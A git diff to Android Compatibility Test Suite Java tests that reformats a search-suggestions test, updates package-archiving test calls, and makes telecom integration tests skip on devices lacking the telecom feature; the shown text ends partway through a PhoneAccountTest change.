diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/ArchiveTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/ArchiveTest.java
index d3f4840..17dd914 100644
--- a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/ArchiveTest.java
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/ArchiveTest.java
@@ -175,6 +175,7 @@
@Test
@RequiresFlagsEnabled(Flags.FLAG_ARCHIVING)
+ @Ignore("b/312463977")
public void requestArchive_confirmationDialog() throws Exception {
installPackage(ARCHIVE_APK);
assertFalse(mPackageManager.getPackageInfo(ARCHIVE_APK_PACKAGE_NAME,
@@ -183,8 +184,7 @@
LocalIntentSender sender = new LocalIntentSender();
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(ARCHIVE_APK_PACKAGE_NAME,
- sender.getIntentSender(),
- PackageManager.DELETE_SHOW_DIALOG),
+ sender.getIntentSender()),
Manifest.permission.DELETE_PACKAGES);
Intent intent = sender.getResult();
assertThat(intent.getIntExtra(PackageInstaller.EXTRA_STATUS, -100)).isEqualTo(
@@ -228,7 +228,7 @@
LocalIntentSender archiveSender = new LocalIntentSender();
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(ARCHIVE_APK_PACKAGE_NAME,
- archiveSender.getIntentSender(), 0),
+ archiveSender.getIntentSender()),
Manifest.permission.DELETE_PACKAGES);
Intent archiveIntent = archiveSender.getResult();
assertThat(archiveIntent.getIntExtra(PackageInstaller.EXTRA_STATUS, -100)).isEqualTo(
@@ -277,7 +277,7 @@
() ->
mPackageInstaller.requestArchive(
ARCHIVE_APK_PACKAGE_NAME,
- archiveSender.getIntentSender(), 0),
+ archiveSender.getIntentSender()),
Manifest.permission.DELETE_PACKAGES);
Intent archiveIntent = archiveSender.getResult();
assertThat(archiveIntent.getIntExtra(PackageInstaller.EXTRA_STATUS, -100)).isEqualTo(
@@ -316,7 +316,7 @@
() ->
mPackageInstaller.requestArchive(
ARCHIVE_APK_PACKAGE_NAME,
- archiveSender.getIntentSender(), 0),
+ archiveSender.getIntentSender()),
Manifest.permission.DELETE_PACKAGES);
Intent archiveIntent = archiveSender.getResult();
assertThat(archiveIntent.getIntExtra(PackageInstaller.EXTRA_STATUS, -100)).isEqualTo(
diff --git a/tests/tests/provider/src/android/provider/cts/SearchRecentSuggestionsTest.java b/tests/tests/provider/src/android/provider/cts/SearchRecentSuggestionsTest.java
index ff79ae56..655384f 100644
--- a/tests/tests/provider/src/android/provider/cts/SearchRecentSuggestionsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SearchRecentSuggestionsTest.java
@@ -26,10 +26,10 @@
import com.android.compatibility.common.util.PollingCheck;
-public class SearchRecentSuggestionsTest extends
- ProviderTestCase2<TestSearchRecentSuggestionsProvider> {
- private final static String AUTHORITY_HEAD = "content://"
- + TestSearchRecentSuggestionsProvider.AUTHORITY;
+public class SearchRecentSuggestionsTest
+ extends ProviderTestCase2<TestSearchRecentSuggestionsProvider> {
+ private static final String AUTHORITY_HEAD =
+ "content://" + TestSearchRecentSuggestionsProvider.AUTHORITY;
private Uri mTestUri;
private TestSearchRecentSuggestionsProvider mTestSRSProvider;
@@ -44,19 +44,24 @@
}
public SearchRecentSuggestionsTest() {
- super(TestSearchRecentSuggestionsProvider.class,
+ super(
+ TestSearchRecentSuggestionsProvider.class,
TestSearchRecentSuggestionsProvider.AUTHORITY);
}
public void testConstructor() {
- new SearchRecentSuggestions(mProviderContext, TestSearchRecentSuggestionsProvider.AUTHORITY,
+ new SearchRecentSuggestions(
+ mProviderContext,
+ TestSearchRecentSuggestionsProvider.AUTHORITY,
TestSearchRecentSuggestionsProvider.MODE);
}
public void testSearchRecentSuggestions() {
- SearchRecentSuggestions srs = new MySearchRecentSuggestions(mProviderContext,
- TestSearchRecentSuggestionsProvider.AUTHORITY,
- TestSearchRecentSuggestionsProvider.MODE);
+ SearchRecentSuggestions srs =
+ new MySearchRecentSuggestions(
+ mProviderContext,
+ TestSearchRecentSuggestionsProvider.AUTHORITY,
+ TestSearchRecentSuggestionsProvider.MODE);
Cursor c = mTestSRSProvider.query(mTestUri, null, null, null, null);
try {
@@ -71,13 +76,18 @@
waitForCursorCount(mTestUri, SearchRecentSuggestions.QUERIES_PROJECTION_2LINE, 1);
- c = mTestSRSProvider.query(mTestUri, SearchRecentSuggestions.QUERIES_PROJECTION_2LINE,
- null, null, null);
+ c =
+ mTestSRSProvider.query(
+ mTestUri,
+ SearchRecentSuggestions.QUERIES_PROJECTION_2LINE,
+ null,
+ null,
+ null);
c.moveToFirst();
- assertEquals(query1, c
- .getString(SearchRecentSuggestions.QUERIES_PROJECTION_QUERY_INDEX));
- assertEquals(line1, c
- .getString(SearchRecentSuggestions.QUERIES_PROJECTION_DISPLAY2_INDEX));
+ assertEquals(
+ query1, c.getString(SearchRecentSuggestions.QUERIES_PROJECTION_QUERY_INDEX));
+ assertEquals(
+ line1, c.getString(SearchRecentSuggestions.QUERIES_PROJECTION_DISPLAY2_INDEX));
c.close();
String query2 = "query2";
@@ -96,20 +106,25 @@
waitForCursorCount(mTestUri, SearchRecentSuggestions.QUERIES_PROJECTION_2LINE, 2);
- c = mTestSRSProvider.query(mTestUri, SearchRecentSuggestions.QUERIES_PROJECTION_2LINE,
- null, null, null);
+ c =
+ mTestSRSProvider.query(
+ mTestUri,
+ SearchRecentSuggestions.QUERIES_PROJECTION_2LINE,
+ null,
+ null,
+ null);
// and the left two should be: test2 and test3, test1 should be delete
c.moveToFirst();
- assertEquals(query2, c
- .getString(SearchRecentSuggestions.QUERIES_PROJECTION_QUERY_INDEX));
- assertEquals(line2, c
- .getString(SearchRecentSuggestions.QUERIES_PROJECTION_DISPLAY2_INDEX));
+ assertEquals(
+ query2, c.getString(SearchRecentSuggestions.QUERIES_PROJECTION_QUERY_INDEX));
+ assertEquals(
+ line2, c.getString(SearchRecentSuggestions.QUERIES_PROJECTION_DISPLAY2_INDEX));
c.moveToNext();
- assertEquals(query3, c
- .getString(SearchRecentSuggestions.QUERIES_PROJECTION_QUERY_INDEX));
- assertEquals(line3, c
- .getString(SearchRecentSuggestions.QUERIES_PROJECTION_DISPLAY2_INDEX));
+ assertEquals(
+ query3, c.getString(SearchRecentSuggestions.QUERIES_PROJECTION_QUERY_INDEX));
+ assertEquals(
+ line3, c.getString(SearchRecentSuggestions.QUERIES_PROJECTION_DISPLAY2_INDEX));
c.close();
// clear all history
@@ -138,24 +153,30 @@
mTestSRSProvider.insert(mTestUri, value);
- Cursor cursor = mTestSRSProvider.query(mTestUri,
- SearchRecentSuggestions.QUERIES_PROJECTION_2LINE,
- "display1=\"" + insertDisplay1 + "\"", null, null);
+ Cursor cursor =
+ mTestSRSProvider.query(
+ mTestUri,
+ SearchRecentSuggestions.QUERIES_PROJECTION_2LINE,
+ "display1=\"" + insertDisplay1 + "\"",
+ null,
+ null);
try {
assertNotNull(cursor);
assertEquals(1, cursor.getCount());
assertTrue(cursor.moveToFirst());
- assertEquals(insertDisplay2, cursor
- .getString(SearchRecentSuggestions.QUERIES_PROJECTION_DISPLAY2_INDEX));
- assertEquals(insertQuery, cursor
- .getString(SearchRecentSuggestions.QUERIES_PROJECTION_QUERY_INDEX));
+ assertEquals(
+ insertDisplay2,
+ cursor.getString(SearchRecentSuggestions.QUERIES_PROJECTION_DISPLAY2_INDEX));
+ assertEquals(
+ insertQuery,
+ cursor.getString(SearchRecentSuggestions.QUERIES_PROJECTION_QUERY_INDEX));
assertEquals(1, cursor.getInt(SearchRecentSuggestions.QUERIES_PROJECTION_DATE_INDEX));
cursor.close();
// Test: update
/**
- * SearchRecentSuggestionsProvider.update is not implement, always
- * throw an UnsupportedOperationException.
+ * SearchRecentSuggestionsProvider.update is not implement, always throw an
+ * UnsupportedOperationException.
*/
value.clear();
value.put("display1", updateDisplay1);
@@ -164,8 +185,8 @@
value.put("date", 2);
try {
- mTestSRSProvider.update(mTestUri, value, "display1=\"" + insertDisplay1 + "\"",
- null);
+ mTestSRSProvider.update(
+ mTestUri, value, "display1=\"" + insertDisplay1 + "\"", null);
fail("There should be an UnsupportedOperationException thrown out.");
} catch (UnsupportedOperationException e) {
// expected, test success.
@@ -173,9 +194,13 @@
// Test: delete
mTestSRSProvider.delete(mTestUri, "display1=\"" + insertDisplay1 + "\"", null);
- cursor = mTestSRSProvider.query(mTestUri,
- SearchRecentSuggestions.QUERIES_PROJECTION_2LINE, "display1=\""
- + insertDisplay1 + "\"", null, null);
+ cursor =
+ mTestSRSProvider.query(
+ mTestUri,
+ SearchRecentSuggestions.QUERIES_PROJECTION_2LINE,
+ "display1=\"" + insertDisplay1 + "\"",
+ null,
+ null);
assertNotNull(cursor);
assertEquals(0, cursor.getCount());
} finally {
@@ -194,9 +219,9 @@
}
}
- private void waitForCursorCount(final Uri uri, final String[] projection,
- final int expectedCount) {
- new PollingCheck() {
+ private void waitForCursorCount(
+ final Uri uri, final String[] projection, final int expectedCount) {
+ new PollingCheck(/* timeout= */ 5_000) {
@Override
protected boolean check() {
Cursor cursor = null;
diff --git a/tests/tests/telecom-apps/Utils/src/android/telecom/cts/apps/BaseAppVerifierImpl.java b/tests/tests/telecom-apps/Utils/src/android/telecom/cts/apps/BaseAppVerifierImpl.java
index ef15e1c..8a4cd4c 100644
--- a/tests/tests/telecom-apps/Utils/src/android/telecom/cts/apps/BaseAppVerifierImpl.java
+++ b/tests/tests/telecom-apps/Utils/src/android/telecom/cts/apps/BaseAppVerifierImpl.java
@@ -39,7 +39,9 @@
import android.app.AppOpsManager;
import android.app.Instrumentation;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.media.AudioManager;
+import android.os.Build;
import android.os.Bundle;
import android.os.Process;
import android.os.RemoteException;
@@ -61,6 +63,7 @@
* application that is bound to in the cts/tests/tests/telecom-apps dir.
*/
public class BaseAppVerifierImpl {
+ static final boolean HAS_TELECOM = Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP;
private static final String REGISTER_SIM_SUBSCRIPTION_PERMISSION =
"android.permission.REGISTER_SIM_SUBSCRIPTION";
private static final String MODIFY_PHONE_STATE_PERMISSION =
@@ -105,6 +108,14 @@
ShellIdentityUtils.dropShellPermissionIdentity();
}
+ public static boolean shouldTestTelecom(Context context) {
+ if (!HAS_TELECOM) {
+ return false;
+ }
+ final PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_TELECOM);
+ }
+
public AppControlWrapper bindToApp(TelecomTestApp applicationName) throws Exception {
AppControlWrapper control = mBindUtils.bindToApplication(mContext, applicationName);
if (isManagedConnectionService(applicationName)) {
diff --git a/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/BaseAppVerifier.java b/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/BaseAppVerifier.java
index 1860ff1..1902e89 100644
--- a/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/BaseAppVerifier.java
+++ b/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/BaseAppVerifier.java
@@ -21,6 +21,7 @@
import static android.telecom.cts.apps.TelecomTestApp.MANAGED_APP_ID;
import static android.telecom.cts.apps.TelecomTestApp.MANAGED_APP_LABEL;
+import android.content.Context;
import android.graphics.Color;
import android.net.Uri;
import android.os.RemoteException;
@@ -32,8 +33,8 @@
import android.telecom.PhoneAccountHandle;
import android.telecom.cts.apps.AppControlWrapper;
import android.telecom.cts.apps.BaseAppVerifierImpl;
-import android.telecom.cts.apps.TelecomTestApp;
import android.telecom.cts.apps.InCallServiceMethods;
+import android.telecom.cts.apps.TelecomTestApp;
import androidx.test.platform.app.InstrumentationRegistry;
@@ -48,7 +49,9 @@
*/
public class BaseAppVerifier {
public static final boolean S_IS_TEST_DISABLED = true;
+ public boolean mShouldTestTelecom = true;
private BaseAppVerifierImpl mBaseAppVerifierImpl;
+ private Context mContext = null;
/***********************************************************
/ ManagedConnectionServiceApp - The PhoneAccountHandle and PhoneAccount must reside in the
/ CTS test process.
@@ -70,6 +73,11 @@
/***********************************************************/
@Before
public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ mShouldTestTelecom = BaseAppVerifierImpl.shouldTestTelecom(mContext);
+ if (!mShouldTestTelecom) {
+ return;
+ }
mBaseAppVerifierImpl = new BaseAppVerifierImpl(
InstrumentationRegistry.getInstrumentation(),
mManagedAccount,
@@ -269,8 +277,9 @@
throws Exception {
CallEndpoint originalCallEndpoint = getCurrentCallEndpoint(appControl, callId);
CallEndpoint anotherCallEndpoint = getAnotherCallEndpoint(appControl, callId);
- if (!originalCallEndpoint.equals(anotherCallEndpoint)) {
+ if (anotherCallEndpoint != null && !originalCallEndpoint.equals(anotherCallEndpoint)) {
setAudioRouteStateAndVerify(appControl, callId, anotherCallEndpoint);
+ // reset the DUT to the original endpoint for cleanup purposes
setAudioRouteStateAndVerify(appControl, callId, originalCallEndpoint);
}
}
diff --git a/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/AudioModeTest.java b/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/AudioModeTest.java
index 37ffc9e..0b4a8c7 100644
--- a/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/AudioModeTest.java
+++ b/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/AudioModeTest.java
@@ -42,6 +42,9 @@
*/
@Test
public void testOutgoingAudioMode_ManagedConnectionServiceApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper managedApp = null;
try {
managedApp = bindToApp(ManagedConnectionServiceApp);
@@ -57,6 +60,9 @@
*/
@Test
public void testIncomingAudioMode_ManagedConnectionServiceApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper managedApp = null;
try {
managedApp = bindToApp(ManagedConnectionServiceApp);
@@ -72,6 +78,9 @@
*/
@Test
public void testOutgoingAudioMode_ConnectionServiceVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper csVoipApp = null;
try {
csVoipApp = bindToApp(ConnectionServiceVoipAppMain);
@@ -87,6 +96,9 @@
*/
@Test
public void testIncomingAudioMode_ConnectionServiceVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper csVoipApp = null;
try {
csVoipApp = bindToApp(ConnectionServiceVoipAppMain);
@@ -102,6 +114,9 @@
*/
@Test
public void testAudioMode_TransactionalVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper transactionalApp = null;
try {
transactionalApp = bindToApp(TransactionalVoipAppMain);
@@ -117,6 +132,9 @@
*/
@Test
public void testIncomingAudioMode_TransactionalVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper transactionalApp = null;
try {
transactionalApp = bindToApp(TransactionalVoipAppMain);
diff --git a/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/MultiCallingTest.java b/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/MultiCallingTest.java
index fc1f193..fcfb437e 100644
--- a/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/MultiCallingTest.java
+++ b/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/MultiCallingTest.java
@@ -49,6 +49,9 @@
*/
@Test
public void testMultiCalling_SingleApp_ManagedApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
CallAttributes outgoingAttributes = getDefaultAttributes(ManagedConnectionServiceApp,
true /*isOutgoing*/);
CallAttributes incomingAttributes = getDefaultAttributes(ManagedConnectionServiceApp,
@@ -82,6 +85,9 @@
*/
@Test
public void testMultiCalling_SingleApp_ConnectionServiceVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
CallAttributes outgoingAttributes = getDefaultAttributes(ConnectionServiceVoipAppMain,
true /*isOutgoing*/);
CallAttributes incomingAttributes = getDefaultAttributes(ConnectionServiceVoipAppMain,
@@ -114,6 +120,9 @@
*/
@Test
public void testMultiCalling_SingleApp_TransactionalApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
CallAttributes outgoingAttributes = getDefaultAttributes(TransactionalVoipAppMain,
true /*isOutgoing*/);
CallAttributes incomingAttributes = getDefaultAttributes(TransactionalVoipAppMain,
@@ -150,6 +159,9 @@
*/
@Test
public void testManagedAndTransactional() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
CallAttributes outgoingAttributes = getDefaultAttributes(ManagedConnectionServiceApp,
true /*isOutgoing*/);
CallAttributes incomingAttributes = getDefaultAttributes(TransactionalVoipAppMain,
@@ -187,6 +199,9 @@
*/
@Test
public void testTransactionalAndManaged() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
CallAttributes outgoingAttributes = getDefaultAttributes(TransactionalVoipAppMain,
true /*isOutgoing*/);
CallAttributes incomingAttributes = getDefaultAttributes(ManagedConnectionServiceApp,
@@ -224,6 +239,9 @@
*/
@Test
public void testManagedAndSelfManaged() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
CallAttributes outgoingAttributes = getDefaultAttributes(ManagedConnectionServiceApp,
true /*isOutgoing*/);
CallAttributes incomingAttributes = getDefaultAttributes(ConnectionServiceVoipAppMain,
@@ -261,6 +279,9 @@
*/
@Test
public void testSelfManagedAndManaged() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
CallAttributes outgoingAttributes = getDefaultAttributes(ConnectionServiceVoipAppMain,
true /*isOutgoing*/);
CallAttributes incomingAttributes = getDefaultAttributes(ManagedConnectionServiceApp,
diff --git a/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/PhoneAccountTest.java b/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/PhoneAccountTest.java
index 9c5430f..7a8c4b9 100644
--- a/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/PhoneAccountTest.java
+++ b/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/PhoneAccountTest.java
@@ -67,6 +67,9 @@
*/
@Test
public void testAccountTest_ConnectionServiceVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCsApp = null;
try {
voipCsApp = bindToApp(ConnectionServiceVoipAppMain);
@@ -100,6 +103,9 @@
*/
@Test
public void testCustomAccountTest_ConnectionServiceVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCsApp = null;
try {
voipCsApp = bindToApp(ConnectionServiceVoipAppMain);
@@ -144,6 +150,9 @@
*/
@Test
public void testAccountTest_TransactionalVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper transactionalApp = null;
try {
transactionalApp = bindToApp(TransactionalVoipAppMain);
@@ -177,7 +186,7 @@
*/
@Test
public void testCustomAccountTest_TransactionalVoipAppMain() throws Exception {
- if (S_IS_TEST_DISABLED) {
+ if (!mShouldTestTelecom || S_IS_TEST_DISABLED) {
return;
}
AppControlWrapper transactionalApp = null;
diff --git a/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/SingleCallingTest.java b/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/SingleCallingTest.java
index d52b45f..4390ccd 100644
--- a/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/SingleCallingTest.java
+++ b/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/SingleCallingTest.java
@@ -81,6 +81,9 @@
*/
@Test
public void testOutgoingCall_ManagedConnectionServiceApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper managedApp = null;
try {
managedApp = bindToApp(ManagedConnectionServiceApp);
@@ -108,6 +111,9 @@
*/
@Test
public void testIncomingCall_ManagedConnectionServiceApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper managedApp = null;
try {
managedApp = bindToApp(ManagedConnectionServiceApp);
@@ -142,6 +148,9 @@
*/
@Test
public void testToggleMuteState_ManagedConnectionServiceApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper managedApp = null;
try {
managedApp = bindToApp(ManagedConnectionServiceApp);
@@ -167,6 +176,9 @@
*/
@Test
public void testGetCurrentEndpoint_ManagedConnectionServiceApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper managedApp = null;
try {
managedApp = bindToApp(ManagedConnectionServiceApp);
@@ -192,6 +204,9 @@
*/
@Test
public void testAvailableEndpoints_ManagedConnectionServiceApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper managedApp = null;
try {
managedApp = bindToApp(ManagedConnectionServiceApp);
@@ -226,6 +241,9 @@
*/
@Test
public void testBasicAudioSwitchTest_ManagedConnectionServiceApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper managedApp = null;
try {
managedApp = bindToApp(ManagedConnectionServiceApp);
@@ -257,6 +275,9 @@
*/
@Test
public void testOutgoingCall_ConnectionServiceVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCsApp = null;
try {
@@ -285,6 +306,9 @@
*/
@Test
public void testIncomingCall_ConnectionServiceVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCsApp = null;
try {
@@ -316,6 +340,9 @@
*/
@Test
public void testToggleMuteState_ConnectionServiceVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCs = null;
try {
voipCs = bindToApp(ConnectionServiceVoipAppMain);
@@ -342,6 +369,9 @@
*/
@Test
public void testGetCurrentEndpoint_ConnectionServiceVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCs = null;
try {
voipCs = bindToApp(ConnectionServiceVoipAppMain);
@@ -368,6 +398,9 @@
*/
@Test
public void testAvailableEndpoints_ConnectionServiceVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCs = null;
try {
voipCs = bindToApp(ConnectionServiceVoipAppMain);
@@ -403,6 +436,9 @@
*/
@Test
public void testBasicAudioSwitchTest_ConnectionServiceVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCsApp = null;
try {
voipCsApp = bindToApp(ConnectionServiceVoipAppMain);
@@ -434,6 +470,9 @@
*/
@Test
public void testOutgoingCall_ConnectionServiceVoipAppClone() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCsApp = null;
try {
@@ -462,6 +501,9 @@
*/
@Test
public void testIncomingCall_ConnectionServiceVoipAppClone() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCsApp = null;
try {
@@ -493,6 +535,9 @@
*/
@Test
public void testToggleMuteState_ConnectionServiceVoipAppClone() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCs = null;
try {
voipCs = bindToApp(ConnectionServiceVoipAppClone);
@@ -519,6 +564,9 @@
*/
@Test
public void testGetCurrentEndpoint_ConnectionServiceVoipAppClone() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCs = null;
try {
voipCs = bindToApp(ConnectionServiceVoipAppClone);
@@ -545,6 +593,9 @@
*/
@Test
public void testAvailableEndpoints_ConnectionServiceVoipAppClone() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCs = null;
try {
voipCs = bindToApp(ConnectionServiceVoipAppClone);
@@ -579,6 +630,9 @@
*/
@Test
public void testBasicAudioSwitchTest_ConnectionServiceVoipAppClone() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCsApp = null;
try {
@@ -615,6 +669,9 @@
*/
@Test
public void testOutgoingCall_TransactionalVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper transactionalApp = null;
try {
@@ -647,6 +704,9 @@
*/
@Test
public void testIncomingCall_TransactionalVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper transactionalApp = null;
try {
@@ -680,6 +740,9 @@
*/
@Test
public void testIncomingVideoCall_TransactionalVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
CallAttributes incomingAttributes = getDefaultAttributes(TransactionalVoipAppMain,
false /*isOutgoing*/);
AppControlWrapper transactionalApp = null;
@@ -716,6 +779,9 @@
*/
@Test
public void testGetCurrentEndpoint_TransactionalVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCs = null;
try {
voipCs = bindToApp(TransactionalVoipAppMain);
@@ -745,6 +811,9 @@
*/
@Test
public void testAvailableEndpoints_TransactionalVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCs = null;
try {
voipCs = bindToApp(TransactionalVoipAppMain);
@@ -783,6 +852,9 @@
*/
@Test
public void testBasicAudioSwitchTest_TransactionalVoipAppMain() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper transactionalApp = null;
try {
transactionalApp = bindToApp(TransactionalVoipAppMain);
@@ -818,6 +890,9 @@
*/
@Test
public void testOutgoingCall_TransactionalVoipAppClone() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper transactionalApp = null;
try {
transactionalApp = bindToApp(TransactionalVoipAppClone);
@@ -849,6 +924,9 @@
*/
@Test
public void testIncomingCall_TransactionalVoipAppClone() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper transactionalApp = null;
try {
transactionalApp = bindToApp(TransactionalVoipAppClone);
@@ -878,6 +956,9 @@
*/
@Test
public void testGetCurrentEndpoint_TransactionalVoipAppClone() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCs = null;
try {
voipCs = bindToApp(TransactionalVoipAppClone);
@@ -907,6 +988,9 @@
*/
@Test
public void testAvailableEndpoints_TransactionalVoipAppClone() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper voipCs = null;
try {
voipCs = bindToApp(TransactionalVoipAppClone);
@@ -945,6 +1029,9 @@
*/
@Test
public void testBasicAudioSwitchTest_TransactionalVoipAppClone() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper transactionalApp = null;
try {
transactionalApp = bindToApp(TransactionalVoipAppClone);
diff --git a/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/UnholdableCallTest.java b/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/UnholdableCallTest.java
index 23e2e50..8a9a0b3 100644
--- a/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/UnholdableCallTest.java
+++ b/tests/tests/telecom-cuj/src/android/telecom/cts/cuj/app/integration/UnholdableCallTest.java
@@ -75,7 +75,7 @@
*/
@Test
public void testSetHoldOnUnholdableCall_ManagedApp() throws Exception {
- if (S_IS_TEST_DISABLED) {
+ if (!mShouldTestTelecom || S_IS_TEST_DISABLED) {
return;
}
AppControlWrapper csApp = null;
@@ -104,7 +104,7 @@
*/
@Test
public void testSetHoldOnUnholdableCall_ConnectionServiceVoipAppMain() throws Exception {
- if (S_IS_TEST_DISABLED) {
+ if (!mShouldTestTelecom || S_IS_TEST_DISABLED) {
return;
}
AppControlWrapper csApp = null;
@@ -140,6 +140,9 @@
*/
@Test
public void testSetHoldOnUnholdableCall_TransactionalApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper transactionalApp = null;
try {
transactionalApp = bindToApp(TransactionalVoipAppMain);
@@ -195,6 +198,9 @@
*/
@Test
public void testAnswerIncomingWithOngoingUnholdableCall_TransactionalApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper transactionalApp = null;
try {
transactionalApp = bindToApp(TransactionalVoipAppMain);
@@ -242,7 +248,7 @@
@Test
public void testAnswerIncomingWithOngoingUnholdableCall_ConnectionServiceVoipAppMain()
throws Exception {
- if (S_IS_TEST_DISABLED) {
+ if (!mShouldTestTelecom || S_IS_TEST_DISABLED) {
return;
}
AppControlWrapper csApp = null;
@@ -295,6 +301,9 @@
*/
@Test
public void testAnswerIncomingWithOngoingUnholdable_ManagedTransactionalApp() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
AppControlWrapper managedApp = null;
AppControlWrapper transactionalApp = null;
try {
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountTest.java
index d7b01d6..19b1e26 100644
--- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountTest.java
@@ -16,11 +16,14 @@
package android.telecom.cts;
+import android.content.ComponentName;
+import android.os.Parcel;
import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
import android.test.AndroidTestCase;
+import android.util.ArraySet;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
+import com.android.internal.telephony.flags.Flags;
public class PhoneAccountTest extends AndroidTestCase {
public static final String ACCOUNT_LABEL = "CTSPhoneAccountTest";
@@ -38,4 +41,74 @@
.build();
